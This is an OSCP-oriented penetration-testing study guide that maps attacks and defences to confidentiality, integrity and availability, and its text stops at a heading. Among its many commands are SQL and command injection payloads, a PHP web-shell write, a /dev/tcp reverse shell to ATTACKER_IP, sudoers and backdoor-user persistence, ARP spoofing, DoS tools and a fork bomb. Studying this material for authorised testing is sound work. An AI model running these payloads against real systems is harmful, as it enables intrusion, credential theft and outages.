CIA Triad
The CIA Triad is the foundational model of information security. Every security control, policy, or mechanism ultimately maps to one (or more) of these three pillars. As a penetration tester, your job is to demonstrate how each pillar can be violated — proving that controls are insufficient or misconfigured.
Table of Contents
- Overview
- Confidentiality
- Integrity
- Availability
- CIA Triad — Unified View
- Key Tools Reference
- Lab Exercises
- Common Misconceptions
- Exam Tips
- Cross-References
Overview
The CIA Triad was formalized by the National Institute of Standards and Technology (NIST) and the Department of Defense (DoD) in their Orange Book (TCSEC, 1985). It remains the primary taxonomy for classifying security objectives.
| Pillar | Question It Answers | Penetration Tester’s Role |
|---|---|---|
| Confidentiality | “Who should NOT see this?” | Prove unauthorized parties CAN see it |
| Integrity | “Who should NOT change this?” | Prove unauthorized parties CAN change it |
| Availability | “Who SHOULD be able to access this?” | Prove authorized parties CANNOT access it |
The Offensive Security Mindset
Defenders build controls to protect CIA. Attackers (and penetration testers) break controls to violate CIA. The OSCP exam is fundamentally about demonstrating CIA violations:
- Confidentiality breach → You exfiltrate
/etc/shadow, read sensitive files, dump credentials - Integrity breach → You modify web content, inject malicious code, alter database records
- Availability breach → You crash a service, exhaust resources, trigger a denial-of-service
Key Insight: In the OSCP exam, Confidentiality and Integrity violations are your primary scoring mechanisms. You prove confidentiality is broken by reading
user.txtandroot.txt. You prove integrity is broken by writing to the system (creating users, modifying configs). Availability attacks are rarely scored directly but are important for understanding attack surfaces.
Confidentiality
Definition & Goals
Confidentiality ensures that information is accessible only to authorized individuals, systems, or processes. Unauthorized disclosure is prevented through access controls, encryption, and security policies.
| Aspect | Description |
|---|---|
| Core Goal | Prevent unauthorized disclosure of information |
| Security Question | “Is this data visible only to those who should see it?” |
| Failure Mode | Information disclosure, data leakage, unauthorized access |
| OSCP Manifestation | Reading sensitive files, dumping credentials, intercepting traffic |
Controls & Mechanisms
Encryption Technologies
Encryption is the primary technical control for confidentiality. Understanding encryption is critical for the OSCP exam.
| Technology | Type | Key Size | Use Case | OSCP Relevance |
|---|---|---|---|---|
| AES-256 | Symmetric | 256-bit | File encryption, disk encryption | Decrypt captured encrypted files |
| AES-128 | Symmetric | 128-bit | TLS, WPA2 | WiFi cracking targets |
| RSA-2048/4096 | Asymmetric | 2048/4096-bit | Key exchange, digital signatures | SSH key attacks |
| ChaCha20-Poly1305 | Symmetric (AEAD) | 256-bit | Modern TLS, mobile | Understanding modern crypto |
| 3DES | Symmetric (legacy) | 168-bit | Legacy systems | Weak cipher exploitation |
| RC4 | Stream cipher | Variable | Legacy TLS/WEP | Broken cipher identification |
AES Encryption Practical Example
# Encrypt a file with AES-256-CBC
openssl enc -aes-256-cbc -salt -pbkdf2 -in sensitive.txt -out sensitive.txt.enc -pass pass:MyStr0ngP@ss!
# Decrypt the file
openssl enc -aes-256-cbc -d -pbkdf2 -in sensitive.txt.enc -out recovered.txt -pass pass:MyStr0ngP@ss!
# Encrypt with a key file (more secure than password)
openssl rand -out aes_key.bin 32
openssl rand -out iv.bin 16
openssl enc -aes-256-cbc -in sensitive.txt -out sensitive.txt.enc -K $(xxd -p -c 64 aes_key.bin) -iv $(xxd -p -c 32 iv.bin)
# Decrypt with key file
openssl enc -aes-256-cbc -d -in sensitive.txt.enc -out recovered.txt -K $(xxd -p -c 64 aes_key.bin) -iv $(xxd -p -c 32 iv.bin)
Understanding AES Modes of Operation
ECB (Electronic Codebook):
┌─────────┐ AES ┌─────────┐ AES ┌─────────┐
│ Block 1 │──────▶│ Ciph 1 │ │ Block 2 │──────▶│ Ciph 2 │
└─────────┘ └─────────┘ └─────────┘ └─────────┘
❌ IDENTICAL plaintext blocks → IDENTICAL ciphertext blocks (INSECURE)
CBC (Cipher Block Chaining):
┌─────────┐ ┌─────────┐ AES ┌─────────┐
│ IV │────▶│ │ │ │
└─────────┘ XOR │ Block 1 │──────▶│ Ciph 1 │
└─────────┘ └─────────┘
▲
│ XOR
┌─────────┐ ┌─────────┐ AES ┌─────────┐
│ Ciph 1 │────▶│ │ │ │
└─────────┘ │ Block 2 │──────▶│ Ciph 2 │
└─────────┘ └─────────┘
✅ Each block depends on previous ciphertext (SECURE)
CTR (Counter):
┌─────────┐ ┌─────────┐ AES ┌─────────┐
│ Counter │────▶│ │ │ │
│ 0 │ XOR │ │──────▶│ Ciph 1 │
└─────────┘ └─────────┘ └─────────┘
┌─────────┐ ┌─────────┐ AES ┌─────────┐
│ Counter │────▶│ │ │ │
│ 1 │ XOR │ │──────▶│ Ciph 2 │
└─────────┘ └─────────┘ └─────────┘
✅ Parallelizable, no padding needed (SECURE)
Transport Layer Security (TLS/SSL)
TLS protects data in transit. Understanding TLS is essential for intercepting and analyzing network traffic.
# Test TLS configuration of a target
openssl s_client -connect target.com:443 -tls1_2
# Check supported cipher suites
nmap --script ssl-enum-ciphers -p 443 target.com
# Extract certificate details
openssl s_client -connect target.com:443 < /dev/null 2>/dev/null | openssl x509 -noout -text
# Check for weak protocols (SSLv3, TLS 1.0)
testssl.sh target.com
# Capture and decrypt TLS traffic (if you have the private key)
# This is how you decrypt HTTPS traffic in Burp Suite with the CA cert installed
tshark -r capture.pcap -T fields -e tls.handshake.cipher_name
Access Control Mechanisms
| Mechanism | Description | Bypass Techniques |
|---|---|---|
| DAC (Discretionary) | Owner controls access (Linux permissions) | Privilege escalation, SUID abuse |
| MAC (Mandatory) | System-enforced labels (SELinux, AppArmor) | Policy misconfiguration, bypass rules |
| RBAC (Role-Based) | Roles define permissions (Active Directory) | Token impersonation, privilege abuse |
| ABAC (Attribute-Based) | Attributes determine access | Attribute manipulation, logic flaws |
Linux Permission Analysis
# Check file permissions (critical for OSCP)
ls -la /etc/shadow
# Output: -rw-r----- 1 root shadow 1234 Jan 1 12:00 /etc/shadow
# ^^^^^^^^^^^
# Owner: rw- Group: r-- Others: ---
# Find world-readable sensitive files
find / -perm -o+r -name "*.conf" -type f 2>/dev/null
find / -perm -o+r -name "*.key" -type f 2>/dev/null
find / -perm -o+r -name "*.pem" -type f 2>/dev/null
# Find SUID binaries (potential privilege escalation)
find / -perm -4000 -type f 2>/dev/null
# Find SGID binaries
find / -perm -2000 -type f 2>/dev/null
# Find world-writable files
find / -perm -o+w -type f 2>/dev/null
# Check for files readable by specific groups
find / -group shadow -perm -g+r -type f 2>/dev/null
Network-Level Confidentiality Controls
| Control | Purpose | Attack Surface |
|---|---|---|
| VLANs | Segment network traffic | VLAN hopping, misconfigured trunks |
| Firewalls | Filter traffic by rules | Rule bypass, misconfiguration |
| IPsec | Encrypt IP-level traffic | Weak pre-shared keys, implementation flaws |
| SSH | Secure remote access | Weak keys, brute force, agent forwarding abuse |
| VPN | Secure remote connectivity | Compromised credentials, split-tunneling abuse |
Attack Vectors
Information Disclosure Attacks
Information disclosure is the most common confidentiality violation in OSCP exams.
| Attack Vector | Description | Tools | Detection |
|---|---|---|---|
| Default Credentials | Services running with default login/password | hydra, medusa, ncrack |
Login pages, service banners |
| Sensitive File Exposure | .env, .git, config files accessible via web |
gobuster, ffuf, dirsearch |
Directory listing, error messages |
| Error Messages | Stack traces revealing paths, versions, queries | Manual browsing, fuzzing | HTTP 500 responses |
| HTTP Headers | Server version, internal IPs in response headers | curl -I, nmap |
Response header analysis |
| DNS Zone Transfer | Full DNS record dump via AXFR | dig axfr, host -l |
Open DNS resolvers |
| SNMP Enumeration | Community strings exposing system info | snmpwalk, onesixtyone |
SNMP community strings |
| LDAP Enumeration | Directory information disclosure | ldapsearch, nmap scripts |
Open LDAP services |
| SMB Enumeration | Share listing, user enumeration | enum4linux, smbclient |
Open SMB shares |
Web Information Disclosure — Common Paths
# Directory brute-forcing with gobuster
gobuster dir -u http://target.com -w /usr/share/wordlists/dirb/common.txt -x php,txt,html,conf,bak,old
gobuster dir -u http://target.com -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 50
# Sensitive file discovery with ffuf
ffuf -u http://target.com/FUZZ -w /usr/share/seclists/Discovery/Web-Content/sensitive-files.txt
# Git directory exposure
gobuster dir -u http://target.com/.git/ -w /usr/share/wordlists/dirb/common.txt
# If found, use git-dumper:
python3 git-dumper.py http://target.com/.git/ /tmp/target_git
cd /tmp/target_git && git log --all
# Environment file exposure
curl -s http://target.com/.env
curl -s http://target.com/.env.bak
curl -s http://target.com/.env.production
# Backup file discovery
gobuster dir -u http://target.com -w - -x sql,bak,old,backup,zip,tar.gz << 'EOF'
database
db
config
backup
www
root
home
EOF
Network Information Disclosure
# Banner grabbing
nmap -sV --script=banner-grab target.com
nmap -p- --script=http-enum target.com
# DNS zone transfer attempt
dig axfr @target.com target.com
host -l target.com target.com
# SNMP enumeration
snmpwalk -v2c -c public target.com 1.3.6.1.2.1.25.1.6.0
onesixtyone -c /usr/share/seclists/Discovery/SNMP/common-snmp-community-strings.txt target.com
# SMB enumeration
enum4linux -a target.com
smbclient -L //target.com -N
rpcclient -U "" target.com
# Nmap scripts for info disclosure
nmap --script http-headers,http-server-header,http-title -p 80,443,8080,8443 target.com
nmap --script smb-enum-shares,smb-enum-users -p 445 target.com
Credential Theft
| Technique | Description | OSCP Scenario |
|---|---|---|
| Password Spraying | One password against many users | Active Directory environments |
| Brute Force | Many passwords against one user | SSH, RDP, web logins |
| Pass-the-Hash | Reuse NTLM hash without cracking | Windows domain environments |
| Kerberoasting | Request TGS for service accounts | AD environments with SPNs |
| AS-REP Roasting | Target users with pre-auth disabled | AD environments |
| Credential Dumping | Extract from memory (LSASS, SAM) | Post-exploitation on Windows |
| Keylogging | Capture keystrokes | Post-exploitation persistence |
| Browser Credential Theft | Extract saved passwords | Chrome, Firefox profile access |
Credential Attack Examples
# Hydra brute force SSH
hydra -l admin -P /usr/share/wordlists/rockyou.txt ssh://target.com
# Hydra brute force HTTP POST form
hydra -l admin -P /usr/share/wordlists/rockyou.txt -f target.com http-post-form "/login:username=^USER^&password=^PASS^:F=Invalid"
# Medusa brute force FTP
medusa -h target.com -u admin -P /usr/share/wordlists/rockyou.txt -M ftp
# Crack captured hashes
hashcat -m 1000 ntlm_hashes.txt /usr/share/wordlists/rockyou.txt
hashcat -m 1800 sha512crypt_hashes.txt /usr/share/wordlists/rockyou.txt
# Identify hash type
hashid $6$rounds=656000$...
# Output: SHA-512 (crypt)
# John the Ripper
john --format=sha512crypt hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
Traffic Interception
# ARP spoofing for MITM (on Linux Kali)
# Terminal 1: ARP spoof victim → gateway
arpspoof -i eth0 -t 192.168.1.100 192.168.1.1
# Terminal 2: ARP spoof gateway → victim
arpspoof -i eth0 -t 192.168.1.1 192.168.1.100
# Enable IP forwarding
echo 1 > /proc/sys/net/ipv4/ip_forward
# Capture traffic
tcpdump -i eth0 -w mitm_capture.pcap host 192.168.1.100
# Use BetterCAP for modern MITM
bettercap -iface eth0 -proxy -proxy-ssl
# Then browse to http://127.0.0.1:8080 to see intercepted HTTPS traffic
# Use mitmproxy for HTTP/HTTPS interception
mitmproxy --mode transparent
OSCP Relevance
Confidentiality violations are the primary scoring mechanism in OSCP:
| Exam Task | CIA Violation | How It’s Scored |
|---|---|---|
Read user.txt |
Confidentiality | Proves unauthorized access to user data |
Read root.txt |
Confidentiality | Proves unauthorized access to admin data |
Dump /etc/shadow |
Confidentiality | Proves credential exposure |
| Extract database contents | Confidentiality | Proves data exfiltration |
| Read internal documents | Confidentiality | Proves network segmentation failure |
Exam Strategy: Every box you pwn is fundamentally a confidentiality attack. You are an unauthorized actor who gains access to data you should not see. The exam rewards thorough enumeration — finding all sensitive information, not just the flag files.
Practical Examples
Testing Encryption Strength
# Check if a file is encrypted
file sensitive.txt.enc
# Output: sensitive.txt.enc: data
# Try to identify encryption type
xxd sensitive.txt.enc | head -5
# Test weak encryption (ROT13 — not real encryption!)
echo "Hello World" | tr 'A-Za-z' 'N-ZA-Mn-za-m'
echo "Uryyb Jbeyq" | tr 'A-Za-z' 'N-ZA-Mn-za-m'
# Crack WPA2 handshake
aircrack-ng -w /usr/share/wordlists/rockyou.txt capture.cap
# Crack ZIP file password
fcrackzip -u -D -p /usr/share/wordlists/rockyou.txt protected.zip
SSH Key Attacks
# Check SSH key strength
ssh-keygen -l -f id_rsa
# Output: 2048 SHA256:xxxx user@host (RSA)
# ⚠️ 2048-bit RSA is minimum; 1024-bit is WEAK
# Generate strong keys
ssh-keygen -t ed25519 -C "user@host"
ssh-keygen -t rsa -b 4096 -C "user@host"
# Test if SSH allows password auth (weak confidentiality)
nmap --script ssh-auth-methods -p 22 target.com
# Attempt SSH login with common keys
for key in /usr/share/seclists/Discovery/Web-Content/*.pem; do
ssh -i "$key" root@target.com -o StrictHostKeyChecking=no 2>/dev/null && echo "SUCCESS: $key"
done
Integrity
Definition & Goals
Integrity ensures that data remains accurate, complete, and unaltered during storage, transmission, and processing. Unauthorized modification is prevented through hashing, digital signatures, and access controls.
| Aspect | Description |
|---|---|
| Core Goal | Prevent unauthorized modification of information |
| Security Question | “Has this data been tampered with?” |
| Failure Mode | Data tampering, unauthorized modification, repudiation |
| OSCP Manifestation | Modifying web content, injecting code, altering system files |
Controls & Mechanisms
Hashing Algorithms
Hashing is the primary integrity verification mechanism. Understanding hash algorithms is essential for detecting tampering.
| Algorithm | Output Size | Security Status | Use Case |
|---|---|---|---|
| MD5 | 128-bit | ❌ BROKEN | Legacy systems, checksums (non-security) |
| SHA-1 | 160-bit | ❌ DEPRECATED | Legacy Git, old certificates |
| SHA-256 | 256-bit | ✅ SECURE | File integrity, TLS, certificates |
| SHA-512 | 512-bit | ✅ SECURE | High-security applications |
| BLAKE2 | Variable | ✅ SECURE | Modern alternative to SHA-2 |
| bcrypt | Variable | ✅ SECURE | Password hashing |
| scrypt | Variable | ✅ SECURE | Password hashing, key derivation |
| Argon2 | Variable | ✅ SECURE | Password hashing (recommended) |
Hash Verification Practical Examples
# Generate SHA-256 hash of a file
sha256sum important_file.txt
# Output: a1b2c3d4e5f6... important_file.txt
# Generate MD5 hash (for comparison — NOT for security)
md5sum important_file.txt
# Generate SHA-512 hash
sha512sum important_file.txt
# Verify file integrity
echo "a1b2c3d4e5f6... important_file.txt" > checksums.txt
sha256sum -c checksums.txt
# Output: important_file.txt: OK
# Hash a string
echo -n "password123" | sha256sum
# Output: ef92b778bafe771e89245b89ecbc08a44a4e166c06659911881f383d4473e94f -
# Compare hashes to detect tampering
sha256sum /bin/ls > /tmp/ls_original.hash
# ... attacker modifies /bin/ls ...
sha256sum -c /tmp/ls_original.hash
# Output: /bin/ls: FAILED
# Tripwire-style integrity monitoring
# Create baseline hashes for critical files
find /etc -type f -exec sha256sum {} \; > /var/integrity/baseline.sha256
# Later, verify:
find /etc -type f -exec sha256sum {} \; | diff - /var/integrity/baseline.sha256
HMAC (Hash-based Message Authentication Code)
HMAC provides both integrity AND authenticity — it verifies the message hasn’t been tampered with AND confirms the sender’s identity.
# Generate HMAC-SHA256
echo -n "message" | openssl dgst -sha256 -hmac "secret_key"
# Output: HMAC-SHA256(message)= abc123...
# Verify HMAC
echo -n "message" | openssl dgst -sha256 -hmac "secret_key"
# Compare output — if different, message was tampered with
# HMAC with different algorithms
echo -n "message" | openssl dgst -sha512 -hmac "secret_key"
echo -n "message" | openssl dgst -md5 -hmac "secret_key" # Weak — avoid in production
Digital Signatures
# Generate RSA key pair
openssl genrsa -out private_key.pem 2048
openssl rsa -in private_key.pem -pubout -out public_key.pem
# Sign a file
openssl dgst -sha256 -sign private_key.pem -out file.sig file.txt
# Verify a signature
openssl dgst -sha256 -verify public_key.pem -signature file.sig file.txt
# Output: Verified OK (or Verification Failure)
# Sign and verify in one step
echo "important data" | openssl dgst -sha256 -sign private_key.pem | openssl dgst -sha256 -verify public_key.pem
File Integrity Monitoring (FIM)
| Tool | Description | Detection Capability |
|---|---|---|
| AIDE | Advanced Intrusion Detection Environment | File hash changes, permission changes |
| Tripwire | Commercial FIM solution | Comprehensive file monitoring |
| OSSEC | Host-based intrusion detection | Real-time integrity monitoring |
| SAM | Security Assessment Tool | Linux file integrity |
# AIDE initialization and checking
aide --init # Create initial database
mv /var/lib/aide/aide.db.new /var/lib/aide/aide.db
aide --check # Check for changes
aide --check | grep DIFF # Show only differences
# Simple FIM with inotifywait
inotifywait -m -r -e modify,create,delete /etc/ 2>/dev/null
Attack Vectors
Web Application Integrity Attacks
| Attack | Description | Impact | Tools |
|---|---|---|---|
| SQL Injection | Modify database queries | Read/modify/delete data | sqlmap, manual |
| Command Injection | Execute OS commands | Full system compromise | Manual, commix |
| File Upload | Upload malicious files | Web shell access | Manual, Burp Suite |
| XXE | XML External Entity | Read local files, SSRF | Manual, Burp Suite |
| CSRF | Force unauthorized actions | State changes | Manual, Burp Suite |
| Insecure Deserialization | Manipulate object state | RCE, privilege escalation | Manual, ysoserial |
SQL Injection — Integrity Violation Examples
# Basic SQLi detection
curl -s "http://target.com/page?id=1' OR '1'='1" | grep -i "error\|syntax"
# Union-based SQLi
curl -s "http://target.com/page?id=1 UNION SELECT 1,2,3,4,5-- -"
# Extract database version
curl -s "http://target.com/page?id=1 UNION SELECT version(),2,3,4-- -"
# Extract table names
curl -s "http://target.com/page?id=1 UNION SELECT table_name,2,3,4 FROM information_schema.tables-- -"
# Modify data via SQLi (integrity violation!)
curl -s "http://target.com/page?id=1; UPDATE users SET role='admin' WHERE username='attacker'-- -"
# sqlmap automation
sqlmap -u "http://target.com/page?id=1" --batch --dbs
sqlmap -u "http://target.com/page?id=1" -D target_db --tables
sqlmap -u "http://target.com/page?id=1" -D target_db -T users --dump
sqlmap -u "http://target.com/page?id=1" --os-shell # Full system compromise
Command Injection Examples
# OS command injection via DNS lookup
curl -s "http://target.com/tools?ip=;id"
curl -s "http://target.com/tools?ip=|cat /etc/passwd"
curl -s "http://target.com/tools?ip=\`id\`"
# Time-based blind command injection
curl -s "http://target.com/tools?ip=;sleep 5" # Measure response time
# Write a web shell (integrity violation!)
curl -s "http://target.com/upload?file=;echo '<?php system(\$_GET[\"cmd\"]); ?>' > /var/www/html/shell.php"
# Reverse shell via command injection
curl -s "http://target.com/tools?ip=;bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"
File System Integrity Attacks
# Modify system files (if you have write access)
echo 'attacker ALL=(ALL) NOPASSWD:ALL' >> /etc/sudoers
# Add a new user (integrity violation of user database)
useradd -m -s /bin/bash backdoor
echo 'backdoor:password123' | chpasswd
# Modify SSH config to allow password auth
sed -i 's/PasswordAuthentication no/PasswordAuthentication yes/' /etc/ssh/sshd_config
# Replace a binary with a backdoored version
cp /bin/ls /bin/ls.bak
# Modify /bin/ls to also send data to attacker
# Web defacement (integrity violation of web content)
echo '<h1>Hacked by Attacker</h1>' > /var/www/html/index.html
Man-in-the-Middle Attacks
MITM attacks violate integrity by modifying data in transit.
# DNS spoofing (modify DNS responses)
# Using BetterCAP
bettercap -iface eth0 -dns spoof target.com=192.168.1.50
# SSL stripping (downgrade HTTPS to HTTP)
# Using BetterCAP
bettercap -iface eth0 -ssl strip on
# Modify HTTP responses on the fly
# Using mitmproxy with a script
mitmproxy -s modify_response.py
# Example mitmproxy script to modify responses
# modify_response.py:
def response(flow):
if "target.com" in flow.request.host:
flow.response.text = flow.response.text.replace("Original", "Tampered")
OSCP Relevance
Integrity violations are demonstrated through post-exploitation actions:
| Exam Task | CIA Violation | How It’s Scored |
|---|---|---|
| Create a new user | Integrity | Proves you can modify system state |
Modify /etc/passwd |
Integrity | Proves user database tampering |
| Upload a web shell | Integrity | Proves web content modification |
| Inject SQL to modify data | Integrity | Proves database tampering |
Add SSH key to authorized_keys |
Integrity | Proves authentication bypass via modification |
Exam Strategy: After gaining initial access, demonstrate integrity violations by modifying the system. Create users, add SSH keys, modify configurations. These actions prove you have write access and can alter the system state — a critical integrity violation.
Practical Examples
Hash Cracking for Integrity Assessment
# Identify hash type
hashid "5f4dcc3b5aa765d61d8327deb882cf99"
# Output: MD5
# Crack with hashcat
hashcat -m 0 hash.txt /usr/share/wordlists/rockyou.txt
# -m 0 = MD5
# -m 100 = NTLM
# -m 1000 = SHA1
# -m 1400 = SHA256
# -m 1800 = SHA512 (crypt)
# Crack with John the Ripper
john --format=raw-md5 hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
# Rule-based attack (modify wordlist entries)
hashcat -m 0 hash.txt /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule
# Hybrid attack (wordlist + mask)
hashcat -m 0 hash.txt "/usr/share/wordlists/rockyou.txt?d?d?d?d"
Digital Signature Verification
# Verify package integrity (Debian/Ubuntu)
apt-get update 2>&1 | grep -i "signature\|expired\|invalid"
# Verify RPM package signature
rpm -K package.rpm
# Verify GPG signature
gpg --verify file.sig file.txt
# Check certificate chain integrity
openssl s_client -connect target.com:443 -showcerts < /dev/null 2>/dev/null | openssl x509 -noout -text | grep -A 5 "Signature Algorithm"
Availability
Definition & Goals
Availability ensures that information and resources are accessible to authorized users when needed. Systems remain operational despite failures, attacks, or high demand.
| Aspect | Description |
|---|---|
| Core Goal | Ensure systems and data remain accessible |
| Security Question | “Can authorized users access this when they need to?” |
| Failure Mode | Service disruption, resource exhaustion, system crash |
| OSCP Manifestation | Crashing services, exhausting resources, triggering errors |
Controls & Mechanisms
Redundancy and High Availability
| Technology | Purpose | Implementation |
|---|---|---|
| RAID | Disk redundancy | RAID 0/1/5/6/10 |
| Load Balancing | Distribute traffic | HAProxy, Nginx, LVS |
| Clustering | Failover capability | Pacemaker, Corosync |
| Replication | Data redundancy | MySQL replication, PostgreSQL streaming |
| CDN | Content distribution | CloudFlare, Akamai |
| UPS | Power backup | Battery backup systems |
RAID Levels Comparison
RAID 0 (Striping):
┌──────────┐ ┌──────────┐
│ Block 1 │ │ Block 2 │ → High performance, NO redundancy
├──────────┤ ├──────────┤ → If ANY disk fails, ALL data lost
│ Block 3 │ │ Block 4 │
└──────────┘ └──────────┘
Disk 1 Disk 2
RAID 1 (Mirroring):
┌──────────┐ ┌──────────┐
│ Block 1 │ │ Block 1 │ → Full redundancy, 50% capacity
├──────────┤ ├──────────┤ → If one disk fails, data survives
│ Block 2 │ │ Block 2 │
└──────────┘ └──────────┘
Disk 1 Disk 2
RAID 5 (Striping + Parity):
┌──────────┐ ┌──────────┐ ┌──────────┐
│ Block 1 │ │ Block 2 │ │ Parity │ → Single disk failure tolerance
├──────────┤ ├──────────┤ ├──────────┤ → Good balance of performance/safety
│ Parity │ │ Block 4 │ │ Block 5 │
└──────────┘ └──────────┘ └──────────┘
Disk 1 Disk 2 Disk 3
RAID 10 (Mirror + Stripe):
┌──────────┐ ┌──────────┐ ┌──────────┐ ┌──────────┐
│ Block 1 │ │ Block 1 │ │ Block 3 │ │ Block 3 │ → Best performance + redundancy
├──────────┤ ├──────────┤ ├──────────┤ ├──────────┤ → Expensive (50% capacity)
│ Block 2 │ │ Block 2 │ │ Block 4 │ │ Block 4 │
└──────────┘ └──────────┘ └──────────┘ └──────────┘
Disk 1 Disk 2 Disk 3 Disk 4
(Mirror) (Mirror) (Mirror) (Mirror)
DDoS Mitigation
| Control | Description | Effectiveness |
|---|---|---|
| Rate Limiting | Limit requests per IP/time | ✅ Effective against simple floods |
| Web Application Firewall | Filter malicious requests | ✅ Good for application-layer attacks |
| CDN Absorption | Distribute attack traffic | ✅ Effective for volumetric attacks |
| Blackhole Routing | Drop attack traffic | ⚠️ Collateral damage |
| SYN Cookies | Mitigate SYN floods | ✅ Effective for TCP floods |
# Configure rate limiting with iptables
iptables -A INPUT -p tcp --dport 80 -m limit --limit 25/minute --limit-burst 100 -j ACCEPT
iptables -A INPUT -p tcp --dport 80 -j DROP
# Enable SYN cookies
echo 1 > /proc/sys/net/ipv4/tcp_syncookies
# Configure connection limits
iptables -A INPUT -p tcp --syn --dport 80 -m connlimit --connlimit-above 50 -j REJECT
# Nginx rate limiting configuration
# In nginx.conf:
# limit_req_zone $binary_remote_addr zone=one:10m rate=10r/s;
# server {
# location / {
# limit_req zone=one burst=20;
# }
# }
Backup and Recovery
| Strategy | Description | RPO | RTO |
|---|---|---|---|
| Full Backup | Complete system copy | Low | Low |
| Incremental | Changes since last backup | Medium | Medium |
| Differential | Changes since last full backup | Medium | Low |
| Continuous | Real-time replication | Near-zero | Low |
# Create a full backup
tar -czpf /backup/full_$(date +%Y%m%d).tar.gz /etc /var/www /home
# Create incremental backup
tar -g /backup/snapshot.snar -czpf /backup/incr_$(date +%Y%m%d).tar.gz /etc /var/www
# Verify backup integrity
tar -tzpf /backup/full_20260101.tar.gz | head -20
# Restore from backup
tar -xzpf /backup/full_20260101.tar.gz -C /
# rsync for incremental backup
rsync -avz --delete /source/ user@backup:/destination/
Attack Vectors
Denial of Service Attacks
| Attack Type | Layer | Description | Tools |
|---|---|---|---|
| SYN Flood | Transport | Exhaust server connection table | hping3, tflood |
| UDP Flood | Transport | Flood with UDP packets | hping3, LOIC |
| HTTP Flood | Application | Legitimate-looking HTTP requests | slowloris, hulk |
| Slowloris | Application | Keep connections open slowly | slowloris |
| DNS Amplification | Network | Amplify DNS responses | Reflected attacks |
| Resource Exhaustion | Application | Exhaust memory/CPU/disk | Custom scripts |
| Application Logic DoS | Application | Exploit business logic | Manual testing |
DoS Attack Examples (Educational — Lab Use Only)
# SYN flood with hping3 (LAB ONLY)
hping3 -S --flood -p 80 target.com
# HTTP flood with hulk (LAB ONLY)
python3 hulk.py http://target.com
# Slowloris attack (LAB ONLY)
perl slowloris.pl target.com
# Resource exhaustion via application logic
# Example: Upload extremely large files
curl -X POST http://target.com/upload -F "file=@/dev/zero"
# Exhaust disk space
dd if=/dev/zero of=/tmp/fill_disk bs=1M count=10000
# Fork bomb (EXTREMELY DANGEROUS — LAB ONLY)
:(){ :|:& };:
# NEVER run this on a production system!
Application-Level Availability Attacks
# SQL injection causing long queries (database DoS)
curl -s "http://target.com/page?id=1 UNION SELECT 1,2,3 FROM (SELECT * FROM table1 CROSS JOIN table2 CROSS JOIN table3) x"
# Regex DoS (ReDoS)
# Send crafted input that causes catastrophic backtracking
curl -s "http://target.com/search?q=a{1000000}"
# Zip bomb extraction
# Upload a small ZIP that expands to terabytes
# Creates availability issue through disk exhaustion
# Log flooding
while true; do curl -s http://target.com/page?param=$(head /dev/urandom | tr -dc A-Za-z0-9 | head -c 10000); done
OSCP Relevance
Availability attacks are rarely scored directly in OSCP but are important for understanding:
| Exam Relevance | Description |
|---|---|
| Low Priority | OSCP focuses on access, not disruption |
| Indirect Value | Understanding DoS helps identify attack surfaces |
| Post-Exploitation | Resource exhaustion can aid privilege escalation |
| Reporting | Mentioning availability impacts strengthens your report |
Exam Strategy: Do NOT perform DoS attacks during the OSCP exam. They can crash the lab environment, affect other students, and violate exam rules. Focus on confidentiality and integrity violations for scoring.
Practical Examples
Service Availability Testing
# Check if a service is running
nc -zv target.com 80
nc -zv target.com 443
nc -zv target.com 22
# Monitor service availability
while true; do
curl -s -o /dev/null -w "%{http_code}" http://target.com
echo " - $(date)"
sleep 5
done
# Check for service degradation
ab -n 1000 -c 100 http://target.com/
# Apache Bench: 1000 requests, 100 concurrent
# Test with curl timing
curl -w "DNS: %{time_namelookup}s | Connect: %{time_connect}s | TLS: %{time_appconnect}s | Total: %{time_total}s\n" -o /dev/null -s http://target.com
Resource Monitoring
# Monitor CPU usage
top -bn1 | head -20
# Monitor memory usage
free -h
# Monitor disk usage
df -h
# Monitor open connections
ss -s
netstat -an | grep ESTABLISHED | wc -l
# Monitor process count
ps aux | wc -l
# Check for resource exhaustion indicators
dmesg | tail -20
journalctl -p err --since "1 hour ago"
CIA Triad — Unified View
How Attacks Map to CIA
| Attack Technique | Confidentiality | Integrity | Availability |
|---|---|---|---|
| SQL Injection | ✅ Read data | ✅ Modify data | ✅ Crash database |
| XSS | ✅ Steal cookies | N/A | N/A |
| CSRF | N/A | ✅ Unauthorized changes | N/A |
| Brute Force | ✅ Gain access | ✅ Modify after access | N/A |
| DoS/DDoS | N/A | N/A | ✅ Service disruption |
| MITM | ✅ Intercept data | ✅ Modify data | ✅ Block communication |
| Privilege Escalation | ✅ Access sensitive data | ✅ Modify system | N/A |
| File Inclusion | ✅ Read local files | ✅ Include malicious files | N/A |
| Command Injection | ✅ Execute info commands | ✅ Modify system | ✅ Crash system |
| Buffer Overflow | ✅ Leak memory | ✅ Modify execution | ✅ Crash application |
Defense-in-Depth Mapping
┌─────────────────────────────────────────┐
│ CIA TRIAD DEFENSE LAYERS │
└─────────────────────────────────────────┘
Confidentiality Integrity Availability
────────────── ─────────── ────────────
┌─────────────┐ ┌─────────────┐ ┌─────────────┐
│ Encryption │ │ Hashing │ │ Redundancy │
│ (AES, TLS) │ │ (SHA-256) │ │ (RAID, LB) │
└──────┬──────┘ └──────┬──────┘ └──────┬──────┘
┌──────┴──────┐ ┌──────┴──────┐ ┌──────┴──────┐
│ Access Ctrl │ │ Digital Sig │ │ Backups │
│ (ACL, RBAC) │ │ (RSA, ECDSA)│ │ (Full/Incr) │
└──────┬──────┘ └──────┬──────┘ └──────┬──────┘
┌──────┴──────┐ ┌──────┴──────┐ ┌──────┴──────┐
│ Network Seg │ │ FIM │ │ DDoS Mitig │
│ (VLAN, FW) │ │ (AIDE) │ │ (Rate Limit)│
└─────────────┘ └─────────────┘ └─────────────┘
The CIA Trade-off Triangle
Confidentiality
▲
/ \
/ \
/ \
/ \
/ \
/ \
/ \
/ \
/ \
/ \
/ \
/ \
/ \
/ \
/ \
/ \
/ \
/ \
/ \
/ \
/ \
/ \
Integrity ─────────────────────────────────── Availability
Key Trade-offs:
• More encryption (Confidentiality) → More processing overhead (Availability)
• More integrity checks → More latency (Availability)
• More redundancy (Availability) → More attack surface (Confidentiality)
• Stronger access controls (Confidentiality) → More complex management (Integrity)
Key Tools Reference
Confidentiality Tools
